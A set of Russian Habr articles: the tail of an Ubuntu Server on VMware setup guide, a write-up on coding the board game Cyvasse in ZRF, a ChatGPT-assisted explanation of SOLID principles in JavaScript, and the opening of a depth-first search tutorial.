Ждите, пока проходит форматирование разделов и установка компонентов системы. После этого будет запрошен ввод полного имени пользователя. Придумайте имя из латинских маленьких букв, например: Claud — это я :).
* Имя вашей учётной записи — нажмите Enter.
* Введите пароль для нового пользователя.
* Зашифровать домашний каталог — Нет.
* Информация о HTTP-прокси — ничего не вводите, нажмите Enter (если прокси нет — оставьте поле пустым).
* Каким образом Вы хотите управлять обновлением системы? — Без автоматического обновления.
* Выберите устанавливаемое программное обеспечение — выберите только OpenSSH server.
* Установить системный загрузчик GRUB в главную загрузочную запись? — Да.
* Когда появится предупреждение, что установка завершена удалите диск из привода. Зайдите еще раз в настройки виртуальной машины раздел CD/DVD(IDE) и поставьте переключатель на «Use physical drive» (Auto detect).
* Установка завершена.
Запуск Ubuntu
-------------
И так Ubuntu установлена и запущена (если нет, то запустите виртуальную машину еще раз). Авторизируйтесь в Ubuntu под своей учетной записью (логин и пароль, который вы вводили во время установки Ubuntu).
Теперь нам доступна консоль. По этому, выполним установку пары необходимых программ.
1. Обновляем список пакетов и затем – полностью – систему:
`sudo apt-get update
sudo apt-get upgrade`
2. Если SSH-сервер во время инсталляции системы не устанавливался, делаем это сейчас.
`sudo apt-get install openssh-server`
3. Устанавливаем пакет «ntp», который обеспечит нам автоматическую синхронизацию времени:
`sudo apt-get install ntp ntpdate`
4. Теперь можно проверить настройку сетевых интерфейсов.
`ifconfig`
Если они совпадают с тем, что вы вводили при установке Ubuntu, то следующих два пункта пропустите.
5. Настраиваем сетевые интерфейсы. Для этого вводим команду:
`sudo nano -w /etc/network/interfaces`
и редактируем настройки (не забывайте ваш IP отличается).
`auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.80.3
netmask 255.255.255.0
network 192.168.80.0
broadcast 192.168.80.255
gateway 192.168.80.2
# dns-* options are implemented by the resolvconf package, if installed
dns-nameservers 192.168.80.2
dns-search localdomain`
6. Если вы редактировали настройки сетевых интерфейсов, то перезапускаем сетевую службу:
`sudo /etc/init.d/networking restart`
Теперь самое время перейти на нашу основную window и подключится к серверу через ssh.
Для этого скачиваем [putty](http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html), запускаем его и в настройках сессии указываем наш IP адрес (смотрите: «IP нашей Ubuntu»).
Все теперь вы можете спокойно подконектиться к нашей гостевой OS (Ubuntu) по SSH.
На этом все. Во второй части я расскажу как подмонтировать общую папку с windows к Ubuntu, и работать с ней как с локально директорией. А вы пока займитесь настройкой php(PHP-FPM уже встроен в версиях старше 5.3.3)+nginx+MySQL+ еще что-то. Благо подробных руководств по этому делу полно.
Пара слов о руководстве
-----------------------
В первую очередь оно для новичков и сам я в делах администрирования Linux, нахожусь на уровне новичек+1 (т.е. только то что мне необходимо по долгу службы). По этому если я где-то ошибся, то комментарии профи приветствуются.
[Полноценная замена Denwer или разворачиваем Ubuntu-server на VMware (часть 2)](http://habrahabr.ru/blogs/webdev/127971/) | https://habr.com/ru/post/127090/ | null | ru | null |
# Шахматы льда и пламени
***Игра эта зовется кайвассой. Ее завезли в Дощатый город на волантинской торговой галере, а сироты разнесли ее вверх и вниз по Зеленой Крови. При дорнийском дворе все помешались на ней…
Десять фигур, каждая из которых ходит по-разному, а доска меняется с каждой игрой, смотря как игроки перемешают свои квадратики.
Джордж Мартин «Пир стервятников»***
**Cyvasse** — ещё одна игра родившаяся в художественном произведении. И как это обычно и бывает, дело вновь не обошлось без участия армии фанатов. Хотя автор и уделяет игре большое внимание (в «Танце с драконами», Тирион Ланистер только и делает, что в неё играет), детальное описание правил, всё же — не дело автора художественного произведения. Впрочем, за фанатами «не заржавело». Разнообразных реализаций «Кайвассы» десятки. [Квадратные](https://play.google.com/store/apps/details?id=appinventor.ai_jared_beal.ECyvasse) и [гексоганальные](https://play.google.com/store/apps/details?id=com.kapistijn.cyvasse) — найдутся на любой вкус! Я хочу рассказать о [той](http://zanefisher.github.io/nine-tile-cyvasse/), что понравилась мне больше всего.
Большинство версий «Кайвассы» (за все не скажу, мог что-то и пропустить) — это всё те же, привычные нам с детства, [шахматы](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B), только с катапультами и драконами. Да, фигуры ходят непривычно, а по доске, щедрой рукой, можно разбросать горы и водоёмы, но принципы самой игры не меняются — шахматное взятие и король, которого необходимо съесть. [Zane Fisher](http://zanefisher.com/) подошёл к вопросу более творчески. На мой взгляд, его версия игры гораздо более глубока, в тактическом плане. За счёт чего? Вот давайте вместе и посмотрим.
Б**о**льшая «естественность» и продуманность — вот что в первую очередь бросилось мне в глаза. Посмотрите, как «конница» обходит «горы». Каждая фигура, в этой игре, может перемещаться не более чем на заданное число шагов и, выполняя «тихий ход», она может «поворачивать» как угодно, главное — не возвращаться на ранее пройденные клетки и не заступать на территорию занятую противником или «горами». Через клетки занятые своими фигурами проходить **можно** (исключением является «Слон», который не может проходить «сквозь» другие фигуры), нельзя лишь завершать на них ход.
**Это был вызов!**Так уж получилось, что в чисто техническом плане, реализовать подобные блуждания на [ZRF](https://ru.wikipedia.org/wiki/Zillions_of_Games) непросто. Ход фигуры состоит из нескольких шагов в **произвольном** направлении, как правило, с дополнительным условием не посещения уже пройденных полей. Я делал [игру](http://zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=2462) с подобной механикой, но в тот раз использовал механизм частичных ходов (да и то не слишком удачно, в редких случаях фигура могла загнать себя в тупик). Когда я совсем уж было думал, что без [Axiom](http://zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1452) здесь не обойтись, решение само, вдруг, неожиданно пришло мне в голову:
**Много кода**
```
(define check-target
(if (position-flag? is-target?)
(set-flag is-succeed? true)
)
)
(define check-target-dir
(if (and (on-board? $1)(position-flag? is-target? $1))
(set-flag is-succeed? true)
)
)
(define check-dir-3
(if (on-board? $1)
$1
(if (not (or enemy? (piece? Mount)))
(check-target)
(if (not-speared?)
(check-target-dir $2)
(check-target-dir $3)
(check-target-dir $4)
)
)
(opposite $1)
)
)
(define check-branch-3
mark
(if (on-board? $1)
$1
(if (not (or enemy? (piece? Mount)))
(check-target)
(if (not-speared?)
(check-dir-3 $1 $1 $2 $3)
(check-dir-3 $2 $1 $2 $4)
(check-dir-3 $3 $1 $2 $5)
)
)
)
back
)
(define move-3 (
(check-pass)
(set-position-flag is-target? true)
START
(while (on-board? next)
next
(set-flag is-succeed? false)
(if (or empty? (piece? Point))
(check-branch-3 w sw nw se ne)
(check-branch-3 nw w ne se e)
(check-branch-3 ne nw e w se)
(check-branch-3 e ne se nw sw)
(check-branch-3 se e sw ne w)
(check-branch-3 sw se w e nw)
(if (flag? is-succeed?) add)
)
)
))
(piece
(name LightHorse)
...
(moves
(move-3)
...
)
)
```
На самом деле, всё просто. Вместо того чтобы пытаться проложить путь от текущего поля (при таком подходе было бы сложно бороться с дубликатами генерируемых ходов), можно его пометить позиционным флагом, а затем, перебрав **все** поля доски (благо — их немного, доска небольшая), попытаться добраться до отмеченного поля, за заданное число шагов. Звучит не особо впечатляюще, но для меня это было поворотным пунктом. С этого момента я поверил, что игру можно реализовать на чистом ZRF.
Взятие осуществляется только «по прямой» и, в большинстве случаев, по «шахматному принципу» — фигура выполняющая взятие становится на место взятой фигуры (здесь снова есть исключение — «Катапульта», о которой я расскажу ниже). При этом, брать можно далеко не любую фигуру! Zane вводит понятие «зацепления» (**Engagement**). Также как взятие, «зацепление» распространяется по прямой, на количество шагов индивидуальное для каждого типа фигуры.
С понятием «зацепления» тесно связано «вооружение» фигуры. Все фигуры делятся на легко-, тяжело- и не вооружённые. «Ополченец» (**Rabble**) — лёгкая фигура, не может просто так атаковать тяжёлую, например «Слона» (**Elephant**). Для того чтобы атаковать, ему требуется «зацепление» цели ещё одной лёгкой (или тяжёлой) фигурой. С другой стороны, «Слон» легко может атаковать «Ополченца» (за исключением, разве что случая, когда он находится в воде). Также он может в одиночку «зацепить» любую тяжёлую фигуру противника, даже «Дракона» (**Dragon**). Не вооружённые (**unarmored**) фигуры («Арбалетчик» и «Катапульта») могут быть взяты без «зацепления».
**Это тоже было непросто**В основном, из за количества писанины. У разных фигур — разная дистанция зацепления, да и вообще, они разные. «Дракон» — может летать через горы, «Копейщики» цепляют всего два поля перед собой, надо учесть действие «воды», а проверка на присутствие дружеских/вражеских «Крепостей» поблизости — это вообще мрак. В общем всё сложно (и не исключено, что в коде есть ошибки), но вроде всё работает как задумано:
**Ещё код**
```
(define set-engaged
(if (flag? is-light-engaged?)
(set-flag is-heavy-engaged? true)
else
(set-flag is-light-engaged? true)
)
)
(define check-escape
(if (or enemy? (piece? Mount))
(set-flag is-escaped? true)
)
)
(define check-other
mark
(set-flag is-escaped? false)
(if (on-board? $1)
$1 (check-escape)
(if (and friend? (not-in-zone? water)
(or (piece? Rabble) (piece? LightHorse) (piece? HeavyHorse) (piece? Elephant) (piece? Crossbow)
(piece? Dragon) (piece? Tower) (piece? King)))
(set-engaged)
(if (or (piece? HeavyHorse) (piece? Elephant) (piece? Dragon) (piece? Tower))
(set-flag is-heavy-engaged? true)
)
(if (piece? Tower)
(set-flag is-enemy-tower? true)
)
)
)
(if (and (on-board? $1) (not-flag? is-escaped?))
$1 (check-escape)
(if (and friend? (not-in-zone? water) (or (piece? Elephant) (piece? Crossbow) (piece? Trebuchet) (piece? Dragon)))
(set-engaged)
(if (or (piece? Elephant) (piece? Dragon))
(set-flag is-heavy-engaged? true)
)
)
)
(if (and (on-board? $1) (not-flag? is-escaped?))
$1 (check-escape)
(if (and friend? (not-in-zone? water) (or (piece? Crossbow) (piece? Trebuchet)))
(set-engaged)
)
)
(if (and (on-board? $1) (not-flag? is-escaped?))
$1 (check-escape)
(if (and friend? (not-in-zone? water) (piece? Trebuchet))
(set-engaged)
)
)
back
)
(define check-spears
(if (on-board? $1)
(if (and (friend? $1) (not-in-zone? water $1) (piece? Spears $1))
(set-engaged)
)
)
)
(define check-friend-tower
(if (on-board? $1)
(if (and (enemy? $1) (piece? Tower $1))
(set-flag is-light-engaged? false)
)
)
)
(define check-engaged
(verify (not-piece? Mount))
(set-flag is-enemy-tower? false)
(set-flag is-light-engaged? false)
(set-flag is-heavy-engaged? true)
(if (or (piece? Crossbow) (piece? Trebuchet))
(set-flag is-light-engaged? true)
)
(if (or (piece? HeavyHorse) (piece? Elephant) (piece? Dragon) (piece? Tower))
(set-flag is-heavy-engaged? false)
)
(check-spears sw) (check-spears se)
(check-other w) (check-other e) (check-other nw) (check-other ne) (check-other sw) (check-other se)
(if (and (not-piece? Tower) (not-piece? Crossbow) (not-piece? Trebuchet) (not-flag? is-enemy-tower?))
(check-friend-tower w) (check-friend-tower e)
(check-friend-tower nw) (check-friend-tower ne)
(check-friend-tower sw) (check-friend-tower se)
)
(verify (and (flag? is-light-engaged?) (flag? is-heavy-engaged?)))
)
(define common-1 (
$1 (verify enemy?)
(check-engaged)
add
))
(piece
(name King)
...
(moves
(common-1 w) (common-1 e) (common-1 nw) (common-1 ne) (common-1 sw) (common-1 se)
...
)
)
```
Как я уже сказал, много писанины, но с этого момента, разработка игры стала, по большей части, механической работой. Был, правда, ещё момент с **Rabble**, но об этом ниже.
Дистанция «зацепления» совпадает с максимальной дистанцией хода фигуры лишь в самых простых случаях (**Rabble**, **Spears** и **King**). Обычной является ситуация, при которой расстояние, на котором возможно «зацепление», меньше максимального хода фигуры (**Light Horse**, **Heavy Horse**, **Dragon**). Впрочем, есть исключение. «Слон» (**Elephant**) — тяжёлая фигура перемещающаяся лишь на одну клетку за ход, но «зацепить» вражескую фигуру он может на расстоянии двух клеток! Более того, он может её съесть, передвинувшись на две клетки, но лишь при условии, что путь не загораживают какие либо преграды (в отличии от других фигур, «Слон» не может проходить через клетки, занятые другими фигурами. Все эти особенности делают игру ещё более интересной, в тактическом плане. Посмотрите, например решение одной из задач [учебника](http://zanefisher.github.io/nine-tile-cyvasse/introduction.html):
Расстояние «зацепления», для конницы — единичка. Чтобы взять вражескую фигуру (при отсутствии других фигур, выполняющих «зацепление»), придётся подойти вплотную, но во время боя, есть свобода выбора — остановиться на поле взятой фигуры или двигаться дальше (наподобие дамки в [шашках](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%88%D0%BA%D0%B8)). Максимальная дистанция — три шага для **Light Horse** и два для **Heavy Horse**. Детальные параметры всех фигур можно посмотреть в [руководстве](http://zanefisher.github.io/nine-tile-cyvasse/cyvasserules.pdf) к игре:
* **Rabble** (x6) — light armor, movement allowance 1, engagement range 1
* **Spears** (x3) — light Armor, Movement Allowance 1, Engagement Range 1
* **Light Horse** (x3) — light Armor, Movement Allowance 3, Engagement Range 1
* **Heavy Horse** (x2) — heavy armor, Movement Allowance 2, Engagement Range 1
* **Elephant** (x2) — heavy armor, Movement Allowance 1, Engagement Range 2
* **Crossbows** (x2) — unarmored, Movement Allowance 2, Engagement Range 3
* **Trebuchet** (x1) — unarmored, Movement Allowance 1, Engagement Range 4 (min. 2)
* **Dragon** (x1) — heavy armor, Movement Allowance 4, Engagement Range 2
* **Tower** (x2) — heavy armor, Movement Allowance 0, Engagement Range 1
* **King** (x1) — light armor, Movement Allowance 1, Engagement Range 1
Там же можно найти информацию об особенностях каждой из фигур. Некоторые из этих примечаний вводят в смущение. Например, для «Арбалетчика» (**Crossbows**) написано следующее: "***Crossbows cannot capture***". Для чего может понадобиться фигура неспособная брать фигуры противника? Вновь, всё дело в «зацеплении»! **Crossbows** — не защищённая фигура неспособная к ближнему бою, но она может «захватывать» фигуры противника на большом расстоянии. Следующая задача из учебника это иллюстрирует. Если «Арбалетчик» сдвинется так, чтобы «захватить» все цели, «Всадник» сможет побить их за три хода:
**К сожалению, в задачке есть досадный недочёт**
Дистанции «тихого хода» **Light Horse** вполне достаточно, чтобы переместиться на позицию, с которой он может убить все три вражеских фигуры без посторонней помощи. В своей реализации, я [исправил](https://github.com/GlukKazan/ZoG/commit/850a9097f72c9e3d1d11d184ce9434aa4630fad9) это, переместив фигуру «Всадника» ниже.
Другая слабо защищённая (**unarmored**) фигура — «Катапульта» (**Trebuchet**). Здесь со взятием всё в порядке! Фигура бьёт издалека, на дистанцию от двух до четырёх шагов (противника расположившегося вплотную «Катапульта» побить не может). Уникальность этой фигуры в том, что после выполнения взятия «Катапульта» продолжает оставаться в тылу. Чтобы взять фигуру противника, она перемещается на один шаг **в противоположном** направлении (конечно, если там есть свободное место)! Это важное стратегическое оружие, «Катапульту» необходимо всячески оберегать!
**Не было бы счастья, да несчастье помогло**В процессе подготовки игры к публикации, мне понадобились примеры начальной расстановки фигур. Дело это не простое и я постарался подойти к нему со всем тщанием. На первый взгляд, для фигур почти не остаётся места. Что-то занимают горы, что-то вода (в неё тоже не хочется соваться). К счастью, всё не так плохо как кажется, поскольку большая часть фигур может свободно проходить через территорию, занятую другими дружественными фигурами. Конницу вполне можно ставить во второй ряд, за «Копейщиками» и «Ополченцами». Дракона можно ставить вообще где угодно — он перелетает через горы. После нескольких минут мучений, у меня получилось что-то вроде этого:
Я отослал дистрибутив на публикацию и только потом заметил, что «Катапульты» расположены крайне неудачно. Да, я оставил за ними место, но в оригинальной версии игры, через горы они стрелять не умеют! Возможно этот скриншот так и остался бы забавным казусом, но мне пришла в голову интересная идея: «почему бы катапультам и не стрелять через горы, ведь они стреляют навесом»? Так родилось следующее [дополнение](https://github.com/GlukKazan/ZoG/commit/aabc21dc6eeb58ab6b407f053e256a532b89377a): если на пути выстрела вдруг оказалась гора, «Катапульта» не может выполнить «зацепление», но коль скоро нашёлся «наводчик», уже зацепивший цель, пульнуть в неё камушек поверх гор «Катапульта» вполне способна! По моему, это неплохая идея, добавляющая в игру ещё больше тактических возможностей.
«Крепость» (**Tower**) — ещё одна очень странная фигура. Она не двигается! Совсем. В общем-то это даже логично. Где (кроме [японских мультиков](https://ru.wikipedia.org/wiki/%D0%A5%D0%BE%D0%B4%D1%8F%D1%87%D0%B8%D0%B9_%D0%B7%D0%B0%D0%BC%D0%BE%D0%BA_%28%D0%B0%D0%BD%D0%B8%D0%BC%D0%B5%29)) вы видели двигающиеся крепости? Задача крепости — защита (и она с этой задачей прекрасно справляется). Фигура находящаяся вблизи дружеской крепости не может быть «зацеплена». Чтобы её убить, сначала придётся разрушить крепость, а это не просто. Кроме того, «Король» (**King**) умеет «прыгать» сквозь дружескую «Крепость», оказываясь по другую сторону от неё за один ход.
**Есть мнение, что крепость справляется со своей задачей слишком хорошо**
Это последняя задачка из [учебника](http://zanefisher.github.io/nine-tile-cyvasse/introduction.html), которая, по идее, должна решаться за семь ходов. Поймите меня правильно. Короля, в этой позиции, можно съесть «Всадником» всего за три хода! При условии, что он не будет ни на что реагировать, когда «Всадник» подскачет к нему вплотную. В реальной жизни, так не бывает. Для меня очевидно, что сдвинув «Катапульту» вправо и взяв мешающего ей «Ополченца» при помощи «Слона», задачу **можно было бы** решить за отведённое число ходов. Но мешают крепости! Пока «Копейщики» рядом с ними, они не могут быть «взяты под прицел», а они закрывают «Короля»! В оригинальных правилах, говорится следующее:
> A piece that is adjacent to one or more opposing Towers cannot engage any pieces except the adjacent Tower(s)
Возможно, здесь имелась в виду ситуация, когда фигура может «зацепить» и «Крепость» и охраняемую ей фигуру (то есть стоит вплотную к ним обеим). Не знаю. Это хорошая тема, над которой стоит подумать. Пока же, я разрешил «Дракону» (**Dragon**) брать фигуру, находящуюся под защитой крепости, с расстояния в два шага (в радиусе действия его «зацепления», но не вплотную). На мой взгляд, это немного оживляет игру.
Стоит рассказать о двух самых слабых фигурах, к которым, в равной степени, подходит выражение «мал, да удал». «Копейщик» (**Spears**) — это, в каком-то смысле, аналог шахматной [пешки](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%88%D0%BA%D0%B0). Может идти только вперёд и атакует всего два поля перед собой (правда, при этом, ни во что не превращается). Чем может быть полезна такая фигура? Конечно же, у неё есть секрет. Контролируемые ею два поля (всего два) ни одна из вражеских фигур не может «проскочить» за один ход. Например, это означает, что конница не может атаковать «Копейщика» с фронта, даже если тот «зацеплен» другой фигурой. Сначала она должна подойти вплотную. **Spears** — это превосходный защитный юнит, напоминающий «Телохранителя» (**Хиа**) из монгольской игры [Хиашатар](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%82%D0%B0%D1%80_%D0%B8_%D1%85%D0%B8%D0%B0%D1%88%D0%B0%D1%82%D0%B0%D1%80).
С «Ополченцами» (**Rabble**) всё обстоит немного проще. Они могут ходить (и «бить») на один шаг, в любую сторону, как «Король». Фокус заключается в том, что игрок имеет право сделать два «тихих» хода «Ополченцами» подряд. Это атакующий юнит. Сделав два «тихих» хода, можно создать две угрозы, в разных концах доски. Одного «Ополченца», скорее всего съедят, но другим можно будет организовать прорыв. Это решение мне тоже безумно нравится.
**Хотя и доставило мне некоторое количество проблем, в части реализации**Тут вот в чём дело, порядок ходов в ZRF (да и в ZoG в целом) жёстко задан. Если бы каждому из игроков **всегда** приходилось делать по два хода (как в "[Марсельских шахматах](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D1%80%D1%81%D0%B5%D0%BB%D1%8C%D1%81%D0%BA%D0%B8%D0%B5_%D1%88%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B)"), это было бы просто. Как-то вот так:
```
(turn-order White White Black Black)
```
Но нам-то требуется, чтобы право повторного хода предоставлялось только после «тихого» хода **Rabble** и чтобы вторым ходом был тоже «тихий» ход, но уже другого **Rabble**. И никак иначе! И, кстати, **право**, а не **обязанность**. Вот тут, мне пришлось пойти на компромиссы. Было понятно, что без механизма пропуска хода (**pass**) здесь не обойтись, но автор на этот счёт [выразился](http://zanefisher.github.io/nine-tile-cyvasse/cyvasserules.pdf) предельно чётко: "***He must move a piece, or forfeit the game***". К счастью, в ZoG предусмотрен режим, при котором пропуск хода выполняется (автоматически), лишь при отсутствии любых разрешённых ходов (это конечно тоже не совсем правильно, поскольку, при использовании данной опции, игроку **не будет** засчитано поражение, при отсутствии возможности хода).
**Собственно, код**
```
(define rabble-1 (
(set-position-flag from-pos? true)
(verify (not-enemy? a8))
(verify (not is-moved?))
$1 (verify (or empty? (piece? Point)))
(set-flag other-rabble? false)
mark START
(while (on-board? next)
next
(if (not-position-flag? from-pos?)
(if (and friend? (piece? Rabble))
(set-flag other-rabble? true)
)
)
)
back
(if (flag? other-rabble?)
(if (empty? a8)
(create Point a8)
(set-attribute is-moved? true)
)
)
(if (not-empty? a8)
(capture a8)
mark START
(while (on-board? next)
next
(if is-moved?
(set-attribute is-moved? false)
)
)
back
)
add
))
(piece
(name Rabble)
...
(attribute is-moved? false)
(moves
(rabble-1 nw) (rabble-1 ne) (rabble-1 sw) (rabble-1 se) (rabble-1 w) (rabble-1 e)
)
)
)
```
Решение не идеально. Двигая первый **Rabble** мы помечаем его атрибутом, после чего, игрок уже **обязан** найти и передвинуть какой-то другой свой **Rabble** (его противник просто пропускает один ход). Во время второго перемещения, кстати, снимается установленный атрибут и если этого не произойдёт, игра, скорее всего, просто остановится. Поэтому, очень важно, ещё на первом ходу, найти хотя бы ещё один **другой** **Rabble** и, если такого нет, всю эту магию не включать! Как обычно, задним умом пришла мысль, что хорошо бы еще и проверять **возможность** хода этим самым другим **Rabble**. К счастью, это было совсем просто. Так родился [патч](https://github.com/GlukKazan/ZoG/commit/839401c1225c0dcab1e9e87cb73b3a7a26918d8f).
Осталось рассказать про рельеф местности. Помимо фигур, на доске могут быть расположены «горы» и «водоёмы». С «горами» всё понятно — ни одна фигура не может располагаться «на горе» и только «Дракон» умеет перелетать через горы. Разумеется, «горы» перекрывают «обзор», препятствуя «зацеплению» вражеских фигур (про нюанс с «Катапультой» я уже говорил). С «водоёмами» всё сложнее. Фигуры в них размещать можно, но с потерей возможности «зацепления» ими вражеских фигур. Это также добавляет тактического разнообразия игре.
**В этом месте, у ZoG таки тоже есть свои особенности**Если с «горами» всё было просто (ну, фигуры и фигуры), то «вода» доставила хлопот. Нет, в принципе, её я тоже мог сделать фигурами. Я как-то раз уже так [делал](https://habrahabr.ru/post/268215) и вот к чему всё [привело](https://habrahabr.ru/post/268215/#comment_8600905). Это не лаг был, а такая конструктивная особенность! Впрочем, в тот раз выбора не было. Рисование зелёных квадратиков на чёрном фоне отняло бы кучу времени и раза в два раздуло и без того полуторно-мегабайтный дистрибутив, на 90% заполненный радикально-чёрными «задниками».
В общем, в этот раз, воду я рисовал прямо на доске, параллельно отмечая её в качестве игровой зоны в описании игры. К сожалению, таким образом, можно нарисовать хоть и **любую**, но лишь жёстко фиксированную карту. Ни о каком авторском «Nine Tile» речи уже не идёт. А жаль,… но тут уж ничего не попишешь.
Ну вот, в общем-то, и всё. Игра [опубликована](http://zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=2491), с любезного дозволения [автора](http://zanefisher.com/). Интерфейс вышел похуже чем в [оригинальной версии](http://zanefisher.github.io/nine-tile-cyvasse/) (например, не подсвечиваются «зацепления»), но зато работает AI. Во всяком случае, задачки учебника решает «на ура».
Играет, в принципе, тоже вполне вменяемо (особенно, если компьютер помощнее, да время «на обдумывание» выставлено побольше.
Сама игра мне **очень** понравилась. В тактическом плане, она показалась мне не менее сложной чем [Ko Shogi](https://geektimes.ru/post/269152/), выгодно отличаясь от последней большей «лаконичностью» и продуманностью. Все фигуры работают! И для игры вполне достаточно относительно небольшой доски. А о том как ослабить «Крепости» я ещё подумаю.
**P.S.**В общем, всё просто оказалось с «Крепостями» (это я себе сложностей на пустом месте навыдумывал). В [правилах игры](http://zanefisher.github.io/nine-tile-cyvasse/cyvasserules.pdf) написано предельно ясно:
> A piece that is adjacent to one or more opposing Towers cannot engage any pieces except the adjacent Tower(s).
То есть, если фигура расположена вплотную к вражеской «Крепости», она может «зацеплять» только «Крепость» и никакую другую фигуру! В [результате](https://github.com/GlukKazan/ZoG/commit/09387c6f7bd49e1cfe642a4b25fc6b44941fd7ec?diff=split), девятая задача "[учебника](http://zanefisher.github.io/nine-tile-cyvasse/introduction.html)" решается именно так, как это было запланировано автором, а обновлённая версия игры выложена на [Zillions of Games](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=2491).
**P.P.S.**Как это обычно и бывает, в процессе написания первого постскриптума к этой статье, я внезапно понял, что принял во внимание не все возможные ситуации. Картинка ниже иллюстрирует проблему:
В этой позиции, «Дракон» должен «зацеплять» только ближайшую «Крепость», а не обе сразу. При удалении ближайшей «Крепости», под бой должны попадать оставшаяся «Крепость» и «Король». Вот [здесь](https://github.com/GlukKazan/ZoG/commit/741acf5cd1e53c9ae1072de4cdee279532b7b0b5?diff=split) соответствующее исправление. Следует заметить, что ситуации разобранные в постскриптумах в игре хотя и возможны, но маловероятны. Благодаря этому, все ранее сохранённые мной партии остались корректными после выполнения описанных изменений реализации игры. | https://habr.com/ru/post/283502/ | null | ru | null |
# SOLID на примере JavaScript с chatGPT
Наверно уже все наслышаны про технологию **ChatGPT**. Вкратце недавно решил сам поюзать и вынести отнюдь пользу для программиста, на примере расскажу как я понял очередной пример SOLID и поделюсь примером с теми кто только вникает в шаблоны проектирования.
**Запрос:**
*write me javascript code with solid principles and comment code*
**Ответ:**
```
// Single Responsibility Principle: Каждая функция должна иметь одну и только одну ответственность
function getUserById(userId) {
// Эта функция отвечает за получение пользователя по его ID
return fetch(`https://example.com/users/${userId}`)
.then(response => response.json())
.then(user => {
if (!user) {
throw new Error(`User with ID ${userId} not found`);
}
return user;
});
}
// Open/Closed Principle: Модуль должен быть открыт для расширения, но закрыт для модификации
class UserService {
constructor(userRepository) {
// Класс UserService закрыт для модификации, но его можно расширить, передав другую реализацию userRepository.
this.userRepository = userRepository;
}
getUserById(userId) {
return this.userRepository.getUserById(userId);
}
}
// Тут по подробней описал снизу, чтобы окончательно понимать суть принципа...
// Liskov Substitution Principle: Подтипы должны иметь возможность заменять свои родительские типы без изменения корректности программы.
class CachedUserRepository {
constructor(userRepository) {
this.userRepository = userRepository;
this.cache = new Map();
}
getUserById(userId) {
// CachedUserRepository является подтипом UserRepository и может использоваться в качестве замены, не влияя на корректность программы.
if (this.cache.has(userId)) {
return Promise.resolve(this.cache.get(userId));
}
return this.userRepository.getUserById(userId).then(user => {
this.cache.set(userId, user);
return user;
});
}
}
// Interface Segregation Principle: Не следует заставлять модуль реализовывать интерфейсы, которые он не использует.
class UserController {
constructor(userService) {
this.userService = userService;
}
getUserById(req, res) {
const userId = req.params.id;
this.userService.getUserById(userId)
.then(user => res.json(user))
.catch(err => res.status(404).json({ error: err.message }));
}
}
// Dependency Inversion Principle: Модули высокого уровня не должны зависеть от модулей низкого уровня.
const userRepository = new UserRepository();
const cachedUserRepository = new CachedUserRepository(userRepository);
const userService = new UserService(cachedUserRepository);
const userController = new UserController(userService);
```
Если вкратце у нас есть **userRepository** будь то файл или модуль, в котором есть функция getUserByID, что уже является принципом "S".
Далее мы создаем класс **UserService**, где в качестве конструктора будет этот **userRepository**, в нем мы инкапсулируем работу выполнение функции **getUserByID,** в будущем мы можем расширять данный класс для других методов, здесь заложен у нас принцип под буковкой "О".
"L" - заключается в том что мы не меняем родительский класс, а лишь создаем под класс, который не меняет основную логику родительского класса.
**Запрос:**
*tell me about Liskov Substitution Principle more in this example*
**Ответ:**
> Принцип замены Лискова (LSP) гласит, что подтипы должны иметь возможность заменять свои родительские типы без изменения правильности программы. В этом примере класс CachedUserRepository является подтипом класса UserRepository, и его можно использовать в качестве замены для UserRepository, не влияя на корректность программы.
>
> Класс CachedUserRepository предназначен для кэширования результатов вызовов метода getUserById, поэтому, если один и тот же идентификатор пользователя запрашивается несколько раз, можно вернуть кэшированное значение вместо выполнения нового вызова API.
>
> У класса CachedUserRepository есть конструктор, который принимает экземпляр UserRepository в качестве аргумента и использует этот экземпляр для фактического вызова API, когда в кеше нет пользователя.
>
> В этом примере класс CachedUserRepository соблюдает принцип подстановки Лискова, поскольку он имеет тот же метод, что и класс UserRepository, он просто добавляет еще одну функцию кэширования и не меняет поведение или возвращаемое значение метода getUserById.
>
> Следовательно, везде, где в приложении используется UserRepository, CachedUserRepository также можно использовать в качестве замены без нарушения существующего кода.
>
>
"I" - принцип разделение интефейсов гласит, что модуль не следует заставлять реализовывать интерфейсы, которые он не использует.
Класс **UserController** имеет конструктор, который принимает экземпляр **UserService** в качестве аргумента. Класс **UserController** использует только метод **getUserById** из класса **UserService** и не использует никаких других методов.
Класс **UserService** может иметь другие методы, такие как *getAllUsers*, *createUser*, *updateUser* и т. д. Но класс **UserController** использует только **getUserById**, ему не нужно реализовывать все методы и ему не нужно знать о существовании других методов.
Следуя ISP, класс **UserController** не вынужден реализовывать какие-либо ненужные методы, что делает код более гибким и простым для понимания.
Такой подход делает код более удобным для сопровождения и более простым для изменения, поскольку изменения в классе **UserService** повлияют только на классы, которые фактически используют измененные методы, а не на классы, которые их не используют.
Кроме того, ISP позволяет создавать небольшие специализированные интерфейсы, делая их более многоразовыми и гибкими, что делает код более несвязанным и менее подверженным ошибкам.
"D" - принцип инверсии зависимости, гласит что классы не могут быть зависемы от класс низкого уровня, из примера в жизни, что мы не можем быть отцами наших отцов.
В заключении... ChatGPT отличная штука для документирования или как минимум поможет вам найти ответы, в которых вы застряли в процессе изучении чего-либо. | https://habr.com/ru/post/712630/ | null | ru | null |
# Реализуем алгоритм поиска в глубину
В этом туториале описан алгоритм поиска в глубину (depth first search, DFS) с псевдокодом и примерами. Кроме того, расписаны способы реализации поиска в глубину в C, Java, Python и C++.
“Поиск в глубину” или “обход в глубину” — это рекурсивный алгоритм по поиску всех вершин графа или дерева. Обход подразумевает под собой посещение всех вершин [графа](https://www.programiz.com/dsa/graph).
### Алгоритм поиска в глубину
